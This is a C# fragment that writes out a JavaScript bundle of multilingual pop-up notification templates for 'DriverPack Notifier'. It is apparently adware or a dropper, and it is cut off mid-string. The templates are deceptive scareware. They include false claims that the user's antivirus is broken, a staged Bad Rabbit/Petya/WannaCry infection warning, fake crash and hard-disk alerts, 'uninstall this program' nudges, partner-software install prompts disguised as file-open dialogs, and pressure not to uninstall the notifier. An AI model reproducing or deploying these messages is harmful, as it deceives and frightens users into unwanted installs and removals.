file.WriteLine(" content: \"Non è necessario alcun software antivirus
installato.\\n Proteggi i tuoi computer con Avast — il miglior antivirus
gratuito\",");
file.WriteLine(" actionButtonText: \"Installare gratuitamente\",");
file.WriteLine(" unsubscribeButtonText: \"No, grazie\"");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var lang = _ref.lang;");
file.WriteLine(" return Object.assign({");
file.WriteLine(" template: \"standard\",");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" timeoutDelay: 18e5,");
file.WriteLine(" title: \"Your computer security is at risk.\",");
file.WriteLine(" content: \"The current installed antivirus software
doesn't work.\\n Protect your system with Avast — the best free
antivirus.\",");
file.WriteLine(" actionButtonText: \"Install for free now\",");
file.WriteLine(" unsubscribeButtonText: \"No, Thanks\",");
file.WriteLine(" notificationIcon: \"robot.png\",");
file.WriteLine(" statisticsLabel: \"antivirus notification avast\",");
file.WriteLine(" color: \"#6534ac\"");
file.WriteLine(" }, dictionary[lang]);");
file.WriteLine(" };");
file.WriteLine(" var dictionary = {");
file.WriteLine(" ru: {");
file.WriteLine(" title: \"Безопасность компьютера под угрозой.\",");
file.WriteLine(" content: \"Ваш антивирус не работает.\\n Установите
надежный бесплатный антивирус Avast\",");
file.WriteLine(" actionButtonText: \"Установить бесплатно\",");
file.WriteLine(" unsubscribeButtonText: \"Нет, спасибо\"");
file.WriteLine(" },");
file.WriteLine(" pt: {");
file.WriteLine(" title: \"O seu computador está em risco.\",");
file.WriteLine(" content: \"O seu antivírus não funciona.\\n Proteja
o seu computadores com Avast — o melhor antivírus grátis\",");
file.WriteLine(" actionButtonText: \"Instalar de graça\",");
file.WriteLine(" unsubscribeButtonText: \"Não, obrigado\"");
file.WriteLine(" },");
file.WriteLine(" es: {");
file.WriteLine(" title: \"La seguridad del equipo está en peligro\",");
file.WriteLine(" content: \"El software antivirus instalado actual no
funciona.\\n Proteja su computadora con Avast — el mejor antivirus
gratuito\",");
file.WriteLine(" actionButtonText: \"Instalar gratis\",");
file.WriteLine(" unsubscribeButtonText: \"No, gracias\"");
file.WriteLine(" },");
file.WriteLine(" de: {");
file.WriteLine(" title: \"Die Sicherheit des Computers ist
bedroht.\",");
file.WriteLine(" content: \"Die aktuell installierte Antivirensoftware
funktioniert nicht.\\n Schützen Sie Ihre Geräte mit Avast — das beste
kostenlose Antivirus\",");
file.WriteLine(" actionButtonText: \"Kostenlos installieren\",");
file.WriteLine(" unsubscribeButtonText: \"Nein Danke\"");
file.WriteLine(" },");
file.WriteLine(" it: {");
file.WriteLine(" title: \"La protezione del computer è a rischio.\",");
file.WriteLine(" content: \"L'attuale software antivirus installato non
funziona.\\n Proteggi i tuoi computer con Avast — il miglior antivirus
gratuito\",");
file.WriteLine(" actionButtonText: \"Installare gratuitamente\",");
file.WriteLine(" unsubscribeButtonText: \"No, grazie\"");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var lang = _ref.lang;");
file.WriteLine(" return Object.assign({");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" timeoutDelay: 2e4,");
file.WriteLine(" title: \"Protect your computer with fast and secure
antivirus\",");
file.WriteLine(" content: \"Avast is a free and one of the most popular
antivirus programs available. <br />\\n Lightweight, state-of-the-art
protection that won't slow down your PC\",");
file.WriteLine(" actionButtonText: \"Install for free now\",");
file.WriteLine(" unsubscribeButtonText: \"No, Thanks\",");
file.WriteLine(" notificationIcon: \"gliph-attention.png\",");
file.WriteLine(" statisticsLabel: \"antivirus notification avast\",");
file.WriteLine(" color: \"#6534ac\"");
file.WriteLine(" }, \"ru\" === lang ? {");
file.WriteLine(" title: \"Защитите свой компьютер быстрым и надежным
антивирусом\",");
file.WriteLine(" content: \"Avast — это бесплатный мощный антивирус,
обладающий легким, интуитивно понятным интерфейсом\",");
file.WriteLine(" actionButtonText: \"Установить бесплатно\",");
file.WriteLine(" unsubscribeButtonText: \"Нет, спасибо\"");
file.WriteLine(" } : {});");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" return {");
file.WriteLine(" template: \"standard\",");
file.WriteLine(" maxCountOfDisplaying: 1,");
file.WriteLine(" timeoutDelay: 18e5,");
file.WriteLine(" notificationIcon: \"drp.png\",");
file.WriteLine(" title: \"Помогите сделать наши продукты лучше!\",");
file.WriteLine(" content: \"Предлагаем встретиться или пообщаться
онлайн.\",");
file.WriteLine(" actionButtonText: \"Готов помочь\",");
file.WriteLine(" unsubscribeButtonText: \"Нет, увы:(\",");
file.WriteLine(" statisticsLabel: \"cusdev invite \" + _ref.label,");
file.WriteLine(" color: \"#6534ac\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" _ref.count;");
file.WriteLine(" return {");
file.WriteLine(" maxCountOfDisplaying: 12,");
file.WriteLine(" title: \"Доступны обновления драйверов\",");
file.WriteLine(" content: \"Для нескольких устройств доступны обновления
драйверов\",");
file.WriteLine(" actionButtonText: \"Установить через DriverPack\",");
file.WriteLine(" unsubscribeButtonText: \"Отказаться\",");
file.WriteLine(" notificationIcon: \"gliph-attention.png\",");
file.WriteLine(" statisticsLabel: \"driverpack drivers\",");
file.WriteLine(" color: \"#394559\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref2) {");
file.WriteLine(" var lang = _ref2.lang, name = _ref2.name, icon =
_ref2.icon, uninstallRate = _ref2.uninstallRate;");
file.WriteLine(" return Object.assign({");
file.WriteLine(" template: \"new-program\",");
file.WriteLine(" title: \"We recommend you to get rid of \" + name,");
file.WriteLine(" content: uninstallRate + \"% of users uninstall this
software\",");
file.WriteLine(" actionButtonText: \"Uninstall\",");
file.WriteLine(" unsubscribeButtonText: \"Learn more\",");
file.WriteLine(" notificationIcon: icon || \"default-soft.png\",");
file.WriteLine(" statusColor: \"#bd3636\",");
file.WriteLine(" statisticsLabel: \"driverpack new program harmful\"");
file.WriteLine(" }, getDictionary({");
file.WriteLine(" lang: lang,");
file.WriteLine(" name: name,");
file.WriteLine(" icon: icon,");
file.WriteLine(" uninstallRate: uninstallRate");
file.WriteLine(" }));");
file.WriteLine(" };");
file.WriteLine(" var getDictionary = function(_ref) {");
file.WriteLine(" var lang = _ref.lang, name = _ref.name, uninstallRate =
(_ref.icon, _ref.uninstallRate);");
file.WriteLine(" switch (lang) {");
file.WriteLine(" case \"ru\":");
file.WriteLine(" return {");
file.WriteLine(" title: \"Рекомендуем удалить \" + name,");
file.WriteLine(" content: uninstallRate + \"% пользователей удаляют
данную программу\",");
file.WriteLine(" actionButtonText: \"Удалить\",");
file.WriteLine(" unsubscribeButtonText: \"Подробнее\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" case \"es\":");
file.WriteLine(" return {");
file.WriteLine(" title: \"Recomendamos eliminar \" + name,");
file.WriteLine(" content: uninstallRate + \"% de usuarios eliminan
este soporte lógico\",");
file.WriteLine(" actionButtonText: \"Eliminar\",");
file.WriteLine(" unsubscribeButtonText: \"Aprender más\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" case \"fr\":");
file.WriteLine(" return {");
file.WriteLine(" title: \"Nous vous recommendons de supprimer \" +
name,");
file.WriteLine(" content: uninstallRate + \"% utilisateurs
suppriment сe logiciel\",");
file.WriteLine(" actionButtonText: \"Enlever\",");
file.WriteLine(" unsubscribeButtonText: \"Apprendre plus\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" return {};");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref2) {");
file.WriteLine(" var lang = _ref2.lang, name = _ref2.name, icon =
_ref2.icon, uninstallRate = _ref2.uninstallRate;");
file.WriteLine(" return Object.assign({");
file.WriteLine(" template: \"new-program\",");
file.WriteLine(" title: name + \" is installed\",");
file.WriteLine(" content: uninstallRate + \"% of users uninstall this
software\",");
file.WriteLine(" actionButtonText: \"Uninstall\",");
file.WriteLine(" unsubscribeButtonText: \"Learn more\",");
file.WriteLine(" notificationIcon: icon || \"default-soft.png\",");
file.WriteLine(" statusColor: \"#ffc021\",");
file.WriteLine(" statisticsLabel: \"driverpack new program neutral\"");
file.WriteLine(" }, getDictionary({");
file.WriteLine(" lang: lang,");
file.WriteLine(" name: name,");
file.WriteLine(" icon: icon,");
file.WriteLine(" uninstallRate: uninstallRate");
file.WriteLine(" }));");
file.WriteLine(" };");
file.WriteLine(" var getDictionary = function(_ref) {");
file.WriteLine(" var lang = _ref.lang, name = _ref.name, uninstallRate =
(_ref.icon, _ref.uninstallRate);");
file.WriteLine(" switch (lang) {");
file.WriteLine(" case \"ru\":");
file.WriteLine(" return {");
file.WriteLine(" title: \"Установлен \" + name,");
file.WriteLine(" content: uninstallRate + \"% пользователей удаляют
данную программу\",");
file.WriteLine(" actionButtonText: \"Удалить\",");
file.WriteLine(" unsubscribeButtonText: \"Подробнее\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" case \"es\":");
file.WriteLine(" return {");
file.WriteLine(" title: name + \" está instalado\",");
file.WriteLine(" content: uninstallRate + \"% de usuarios eliminan
este soporte lógico\",");
file.WriteLine(" actionButtonText: \"Eliminar\",");
file.WriteLine(" unsubscribeButtonText: \"Aprender más\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" case \"fr\":");
file.WriteLine(" return {");
file.WriteLine(" title: name + \" est installé\",");
file.WriteLine(" content: uninstallRate + \"% utilisateurs
suppriment ce logiciel\",");
file.WriteLine(" actionButtonText: \"Enlever\",");
file.WriteLine(" unsubscribeButtonText: \"Apprendre plus\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" return {};");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref2) {");
file.WriteLine(" var lang = _ref2.lang, name = _ref2.name, icon =
_ref2.icon;");
file.WriteLine(" return Object.assign({");
file.WriteLine(" template: \"new-program\",");
file.WriteLine(" title: \" \" + name + \" — excellent software\",");
file.WriteLine(" content: \"High rating and very low uninstallation
percentage\",");
file.WriteLine(" actionButtonText: \"\",");
file.WriteLine(" unsubscribeButtonText: \"\",");
file.WriteLine(" notificationIcon: icon || \"default-soft.png\",");
file.WriteLine(" statusColor: \"#44ad64\",");
file.WriteLine(" statisticsLabel: \"driverpack new program useful\",");
file.WriteLine(" hideButtons: !0");
file.WriteLine(" }, getDictionary({");
file.WriteLine(" lang: lang,");
file.WriteLine(" name: name,");
file.WriteLine(" icon: icon");
file.WriteLine(" }));");
file.WriteLine(" };");
file.WriteLine(" var getDictionary = function(_ref) {");
file.WriteLine(" var lang = _ref.lang, name = _ref.name;");
file.WriteLine(" _ref.icon;");
file.WriteLine(" switch (lang) {");
file.WriteLine(" case \"ru\":");
file.WriteLine(" return {");
file.WriteLine(" title: name + \" — отличная программа\",");
file.WriteLine(" content: \"Высокий рейтинг и очень низкий процент
удалений\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" case \"es\":");
file.WriteLine(" return {");
file.WriteLine(" title: name + \" — soporte lógico excelente\",");
file.WriteLine(" content: \"El rating alto y el porcentaje de
eliminación muy bajo\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" case \"fr\":");
file.WriteLine(" return {");
file.WriteLine(" title: name + \" est un logiciel excellent\",");
file.WriteLine(" content: \"La cote de popularité est élevée, et le
pourcentage de suppression est très faible\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" return {};");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" return {");
file.WriteLine(" maxCountOfDisplaying: 12,");
file.WriteLine(" title: \"Обнаружено нежелательное ПО\",");
file.WriteLine(" content: \"На компьютере обнаружены нежелательные
программы&nbsp;(\" + _ref.count + \")\",");
file.WriteLine(" actionButtonText: \"Удалить через DriverPack\",");
file.WriteLine(" unsubscribeButtonText: \"Отказаться\",");
file.WriteLine(" notificationIcon: \"gliph-attention.png\",");
file.WriteLine(" statisticsLabel: \"driverpack protect\",");
file.WriteLine(" color: \"#394559\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" };");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var lang = _ref.lang;");
file.WriteLine(" return _extends({}, \"ru\" === lang ? {");
file.WriteLine(" title: \"Внимание! Безопасность компьютера под
угрозой.\",");
file.WriteLine(" content: \"Возникла угроза проникновения в систему
опасных вирусов Bad Rabbit / Petya / WannaCry и их модифицированных версий. Эти
вирусы шифруют данные на компьютере и вымогают деньги. Зафиксировано уже более 200
тысяч подобных атак. Необходимо установить защиту и закрыть уязвимости.\",");
file.WriteLine(" actionButtonText: \"Перейти в раздел установки
защитного ПО&nbsp;&nbsp;&nbsp;&nbsp;\"");
file.WriteLine(" } : {");
file.WriteLine(" title: \"Attention! Your computer's security is under
threat.\",");
file.WriteLine(" content: \"There is a penetration threat of dangerous
Bad Rabbit / Petya / WannaCry virus and their modified versions into your system.
These viruses encode the data you have at your computer and blackmail money. More
than 200,000 similar attacks have been registered already. You need to install
protection and eliminate any vulnerabilities.\",");
file.WriteLine(" actionButtonText: \"Go to the protective software
installation section\"");
file.WriteLine(" }, {");
file.WriteLine(" template: \"standard\",");
file.WriteLine(" maxCountOfDisplaying: 1,");
file.WriteLine(" timeoutDelay: 18e5,");
file.WriteLine(" notificationIcon: \"icon_shield.png\",");
file.WriteLine(" statisticsLabel: \"driverpack notification
badrabbit\",");
file.WriteLine(" color: \"#6534ac\"");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref2) {");
file.WriteLine(" var lang = _ref2.lang, extension = _ref2.extension,
fileName = _ref2.fileName, softName = _ref2.softName, softCategory =
_ref2.softCategory;");
file.WriteLine(" return Object.assign({");
file.WriteLine(" template: \"center\",");
file.WriteLine(" content: \"To open \" + fileName + \" file you should
install \" + softName + \" program. Do you want to install \" + softName + \" and
open the file?\",");
file.WriteLine(" actionButtonText: \"Open file\",");
file.WriteLine(" unsubscribeButtonText: \"Don't open file\",");
file.WriteLine(" messages: {");
file.WriteLine(" preparing: \"Preparing…\",");
file.WriteLine(" downloading: \"Downloading…\",");
file.WriteLine(" installing: \"Installing…\"");
file.WriteLine(" },");
file.WriteLine(" notificationIcon: \"file-icon.png\",");
file.WriteLine(" statisticsLabel: softCategory + \" \" + extension,");
file.WriteLine(" color: \"#674172\",");
file.WriteLine(" showDelay: 0,");
file.WriteLine(" timeoutDelay: !1,");
file.WriteLine(" focusWindow: !0");
file.WriteLine(" }, getDictionary({");
file.WriteLine(" lang: lang,");
file.WriteLine(" extension: extension,");
file.WriteLine(" fileName: fileName,");
file.WriteLine(" softName: softName,");
file.WriteLine(" softCategory: softCategory");
file.WriteLine(" }));");
file.WriteLine(" };");
file.WriteLine(" var getDictionary = function(_ref) {");
file.WriteLine(" var lang = _ref.lang, fileName = (_ref.extension,
_ref.fileName), softName = _ref.softName;");
file.WriteLine(" _ref.softCategory;");
file.WriteLine(" switch (lang) {");
file.WriteLine(" case \"ru\":");
file.WriteLine(" return {");
file.WriteLine(" content: \"Для открытия файла \" + fileName + \" не
установлена программа \" + softName + \". Установить \" + softName + \" и открыть
файл?\",");
file.WriteLine(" actionButtonText: \"Открыть файл\",");
file.WriteLine(" unsubscribeButtonText: \"Не открывать файл\",");
file.WriteLine(" messages: {");
file.WriteLine(" preparing: \"Подготовка…\",");
file.WriteLine(" downloading: \"Загрузка…\",");
file.WriteLine(" installing: \"Установка…\"");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" case \"es\":");
file.WriteLine(" return {");
file.WriteLine(" content: \"El soporte lógico \" + softName + \" no
está instalado para abrir el file \" + fileName + \". Instalar \" + softName + \" y
abrir el file?\",");
file.WriteLine(" actionButtonText: \"Abrir el file\",");
file.WriteLine(" unsubscribeButtonText: \"No abrir el file\",");
file.WriteLine(" messages: {");
file.WriteLine(" preparing: \"Preparando…\",");
file.WriteLine(" downloading: \"Descarga…\",");
file.WriteLine(" installing: \"Instalación…\"");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" case \"fr\":");
file.WriteLine(" return {");
file.WriteLine(" content: softName + \" logiciel n'est pas installé
pour ouvrir \" + fileName + \" fichier. Installer \" + softName + \" et ouvrir le
fichier?\",");
file.WriteLine(" actionButtonText: \"Ouvrir le fichier\",");
file.WriteLine(" unsubscribeButtonText: \"Ne pas ouvrir le
fichier\",");
file.WriteLine(" messages: {");
file.WriteLine(" preparing: \"Préparation…\",");
file.WriteLine(" downloading: \"Téléchargement…\",");
file.WriteLine(" installing: \"Installation…\"");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" return {};");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var errCode = _ref.errCode;");
file.WriteLine(" return {");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Сбой в работе Windows!\",");
file.WriteLine(" content: \"Компьютер недавно был самопроизвольно
перезагружен из-за ошибки \" + errCode + \"!\",");
file.WriteLine(" actionButtonText: \"Посмотреть решение\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" notificationIcon: \"gliph-tool.png\",");
file.WriteLine(" statisticsLabel: \"bsod\",");
file.WriteLine(" problemUrl: \"http://internet-start.net/?q=BSOD
%20%D0%BE%D1%88%D0%B8%D0%B1%D0%BA%D0%B0%20\" + errCode
+ \"&utm_source=notifier&utm_medium=notification&utm_campaign=bsod&utm_content=\" +
errCode,");
file.WriteLine(" color: \"#8d1f1f\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" return {");
file.WriteLine(" notificationId: \"9a96e730-d992-edf3-029f-
8bac1f7ac6c4\",");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Недостаточно свободного места!\",");
file.WriteLine(" content: \"На диске \" + _ref.fulldrives + \" мало
свободного места! Это может привести к невозможности сохранения и потере
данных!\",");
file.WriteLine(" actionButtonText: \"Посмотреть решение\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" notificationIcon: \"gliph-harddrive.png\",");
file.WriteLine(" statisticsLabel: \"hdd space\",");
file.WriteLine(" problemUrl: \"http://drp.su/ru/help/hdd-
space.html\",");
file.WriteLine(" color: \"#8d1f1f\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var softName = _ref.softName, soft = {");
file.WriteLine(" \"Yandex.Browser (Russian)\": {");
file.WriteLine(" title: \"Рекомендуем установить
Яндекс.Браузер!\",");
file.WriteLine(" content: \"Быстрый браузер с технологией активной
защиты Protect предупредит об опасных сайтах.\"");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" return {");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: soft[softName].title,");
file.WriteLine(" content: soft[softName].content,");
file.WriteLine(" actionButtonText: \"Установить\",");
file.WriteLine(" unsubscribeButtonText: \"Отказаться\",");
file.WriteLine(" notificationIcon: \"drp.png\",");
file.WriteLine(" statisticsLabel: \"Partner Soft \" + softName,");
file.WriteLine(" color: \"#00733c\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var softName = _ref.softName, soft = {");
file.WriteLine(" \"WinRAR (Russian)\": {");
file.WriteLine(" title: \"Рекомендуем установить архиватор
WinRAR!\",");
file.WriteLine(" content: \"WinRAR открывает любые архивы, позволяет
экономить место на жестком диске!\"");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" return {");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: soft[softName].title,");
file.WriteLine(" content: soft[softName].content,");
file.WriteLine(" actionButtonText: \"Установить\",");
file.WriteLine(" unsubscribeButtonText: \"Отказаться\",");
file.WriteLine(" notificationIcon: \"drp.png\",");
file.WriteLine(" statisticsLabel: \"Partner Soft \" + softName,");
file.WriteLine(" color: \"#A5569B\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" return {");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Рекомендуем установить Яндекс.Браузер!\",");
file.WriteLine(" content: \"Быстрый браузер с технологией автивной
защиты Protect предупредит об опасных сайтах.\",");
file.WriteLine(" actionButtonText: \"Установить\",");
file.WriteLine(" unsubscribeButtonText: \"Отказаться\",");
file.WriteLine(" notificationIcon: \"drp.png\",");
file.WriteLine(" statisticsLabel: \"Partner Soft \" + _ref.softName,");
file.WriteLine(" color: \"#00733c\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" return {");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Возможен отказ работы жесткого диска!\",");
file.WriteLine(" content: \"По данным Windows, возможны проблемы в
работе жесткого диска \" + _ref.disks + \": снижение скорости, потеря данных, отказ
работы HDD.\",");
file.WriteLine(" actionButtonText: \"Посмотреть рекомендации\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" notificationIcon: \"gliph-harddrive.png\",");
file.WriteLine(" statisticsLabel: \"hdd smart\",");
file.WriteLine(" problemUrl: \"http://internet-start.net/?q=hdd%20smart
%20%D0%BD
%D0%B5%20Ok&utm_source=notifier&utm_medium=notification&utm_campaign=hdd&utm_conten
t=smart\",");
file.WriteLine(" color: \"#8d1f1f\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" return {");
file.WriteLine(" notificationId: \"73e9433a-44f2-c6a4-a8a3-
6a4899d5ecf7\",");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Недостаточно свободного места!\",");
file.WriteLine(" content: \"На системном диске [\" + _ref.systemdrive
+ \"] недостаточно свободного места! Это может привести к нестабильной работе
Windows!\",");
file.WriteLine(" actionButtonText: \"Посмотреть решение\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" notificationIcon: \"gliph-harddrive.png\",");
file.WriteLine(" statisticsLabel: \"hdd system space\",");
file.WriteLine(" problemUrl: \"http://drp.su/ru/help/hdd-system-
space.html\",");
file.WriteLine(" color: \"#8d1f1f\"");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(_ref2) {");
file.WriteLine(" var lang = _ref2.lang, experiment = _ref2.experiment,
variant = \"bad_idea\" === experiment ? \"v1\" : \"think_again\" ===
experiment ? \"v2\" : \"\";");
file.WriteLine(" return Object.assign({");
file.WriteLine(" template: \"uninstall\",");
file.WriteLine(" statisticsLabel: \"uninstall \" + experiment,");
file.WriteLine(" showDelay: 0,");
file.WriteLine(" timeoutDelay: !1,");
file.WriteLine(" focusWindow: !0,");
file.WriteLine(" experiment: variant");
file.WriteLine(" }, getDictionary({");
file.WriteLine(" lang: lang,");
file.WriteLine(" experiment: variant");
file.WriteLine(" }));");
file.WriteLine(" };");
file.WriteLine(" var getDictionary = function(_ref) {");
file.WriteLine(" var lang = _ref.lang;");
file.WriteLine(" if (\"v1\" === _ref.experiment) switch (lang) {");
file.WriteLine(" case \"ru\":");
file.WriteLine(" return {");
file.WriteLine(" title: \"Почему удалять DriverPack Notifier —
плохая идея?\",");
file.WriteLine(" message1: \"Уже сейчас он помогает обеспечить
безопасность компьютера, выявляя загрузку вредных или бесполезных программ, помогая
антивирусу\",");
file.WriteLine(" message2: \"Он мониторит температуру процессора,
количество свободной оперативной памяти и состояние жесткого диска, а в случае
необходимости, заранее предупредит о проблеме\",");
file.WriteLine(" message3: \"Он не нагружает компьютер — все
вычисления происходят в облачных сервисах\",");
file.WriteLine(" message4: \"Совсем скоро он обновится до DriverPack
Сloud, который сможет заблаговременно предупреждать о многих системных ошибках и
поможет предотвращать будущие неисправности одним кликом\",");
file.WriteLine(" actionButtonText: \"Оставить защиту\",");
file.WriteLine(" unsubscribeButtonText: \"Удалить\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" return {");
file.WriteLine(" title: \"Why is DriverPack Notifier removal a bad
idea?\",");
file.WriteLine(" message1: \"It already helps provide safety for
your computer by detecting that some harmful or useless programs were downloaded,
and thus, assisting to antivirus\",");
file.WriteLine(" message2: \"It monitors the temperature of
processor, free volume of the main memory, and the state of the hard disk, and if
it's necessary warns about an issue in advance\",");
file.WriteLine(" message3: \"It doesn't overload the computer as all
calculations take place in the Cloud Services\",");
file.WriteLine(" message4: \"Quite soon it will be updated to
DriverPack Сloud version which will be able to warn about many system errors
beforehand, and will help prevent the future malfunctions by one click\",");
file.WriteLine(" actionButtonText: \"Keep Protection\",");
file.WriteLine(" unsubscribeButtonText: \"Uninstall\"");
file.WriteLine(" };");
file.WriteLine(" } else switch (lang) {");
file.WriteLine(" case \"ru\":");
file.WriteLine(" return {");
file.WriteLine(" title: \"Подумай еще раз\",");
file.WriteLine(" message1: \"Может быть, ты не оценил Notifier в
полной мере, но поверь — он скоро тебе пригодиться. Именно Notifier обеспечвает
безопасность компьютера, выявляя загрузку вредных и бесполезных программ — он
помогает твоему антивирусу\",");
file.WriteLine(" message2: \"\",");
file.WriteLine(" message3: \"О производительности компьютера и
свободном месте тоже можно не беспокоиться, потому что все вычисления происходят в
облаке, не нагружая твой компьютер\",");
file.WriteLine(" message4: \"Кроме того, Notifier совсем скоро
